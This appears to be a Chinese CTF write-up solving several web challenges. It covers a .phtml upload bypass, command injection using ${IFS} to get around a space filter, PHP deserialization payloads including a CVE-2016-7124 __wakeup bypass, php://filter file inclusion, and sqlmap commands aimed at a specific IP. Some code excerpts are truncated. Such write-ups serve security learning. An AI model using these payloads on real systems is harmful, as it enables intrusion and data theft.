文件上传,抓包试一下
发现php不行。
和1.0一样,只不过不支持php,用phtml就行了
知识点:
通常,在嵌入了php脚本的html中,使用 phtml作为后缀名;
完全是php写的,则使用php作为后缀名。
这两种文件,web服务器都会用php解释器进行解析。
hackbar传入一个cookie:admin=1后,看见rasalghul.php,访问得到一段代码:
然后是命令执行,绕过空格,传入url=ls${IFS}/ 看见 flllllaaaaaaggggggg
再传入命令 cat${IFS}/flllllaaaaaaggggggg.得到flag。
查看源代码发现disallow:什么东西呢?
联想到robots协议,访问robots.txt,发现disallow:/cl45s.php。
访问得到一段php代码。
admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?
代码审计得知,与序列化有关。要想得到flag。要满足$this->admin === "admin" && $this->passwd === "ctf"。
因此我们应传入反序列化后满足条件的变量p。
对wllm类序列化得: O:4:"wllm":2:{s:5:"admin";s:6:"passwd";}
应传入 O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 得到flag。
不懂序列化的话,可以查看CTF中的序列化与反序列化 - 码农教程
开始提示我们传入一个file试试,我们随便传入一个file=1.得到:
";
echo "";
echo "";
echo "";
echo "";
include_once($file);
?> flag 在flag.php中
代码审计:
在代码结尾我们发现include_once($file),所以跟文件包含有关。
并且allow_url_include on。
用php伪协议filter读取一下flag.php里内容。
base64解码后得到flag。
通过输入id并报错可以知到,存在字符型注入。order by 得出字段数为3.
联合查询发现无法查询。
试一下发现存在报错注入,extractvalue()。
用sqlmap跑。
sqlmap -u “http://1.14.71.254:28188/index.php?id=1” --dbs
sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db --tables
sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db -T test_tb --columns
sqlmap -u “http://1.14.71.254:28188/index.php?id=1” -D test_db -T test_tb -C flag --dump
进去后发现,这是一道序列化有关的题。题中给出:
admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
相比上次ez_unserialize多了一个_wakeup()函数。
wakeup函数有一个漏洞,CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
所以传入?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
得到flag。